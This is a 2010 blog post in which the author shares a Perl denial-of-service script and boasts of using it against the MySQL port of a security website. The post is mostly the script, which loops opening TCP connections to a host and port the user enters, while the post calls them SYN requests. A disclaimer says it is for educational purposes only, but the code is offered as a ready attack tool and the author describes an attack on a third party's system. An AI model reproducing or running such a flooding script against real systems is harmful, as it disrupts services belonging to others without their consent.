Thursday, December 2, 2010

simple d.o.s attacker

Hi,
I wrote a simple perl denial of service script 

I've got it working on windows xp with active perl
i used this script to attacking the my sql port of a security website , and here is the result ;)



please use this code FOR EDUCATIONAL PURPOSES  ONLY

#!/usr/bin/perl
#d3c0der
system('color a');
system('cls');
print q{
===================================================
-= ** =-
AttackerZ d.o.s Attacker - version 1.0

[+] coded by d3c0der   =>  d3c0der@hotmail.com

[+] AttackerZ Under Ground TM  =>  wwW.Attackerz.iR
-= ** =-

===>  FOR EDUCATIONAL PURPOSES  ONLY <===

===================================================


};

use IO::Socket;

print "Host: ";{
chop ($host = <stdin>);
print "Port: ";
chop ($port = <stdin>);
print "SYN Requests to send : ";
chop ($num= <stdin>);
}
if(defined($ARGV[2])){
$host = $ARGV[0];
$port = $ARGV[1];
$num = $ARGV[2];
}
for ($i=0; $i<$num; $i++)
{
$len = length $form;
$sock = IO::Socket::INET->new (
PeerAddr => $host,
PeerPort => $port,
Proto => 'tcp') || die "$! sorry ! Can't Connect";
syswrite STDOUT, "[+]SYN Request: $i\n";
}
$local_time = localtime();

$login = getlogin();
print " hello $login , your attack finish at $local_time\n";

print "All packets sent to $host\n";

 print "Press any key To exit...";
$end = <STDIN>;
chop ($end);

No comments:

Post a Comment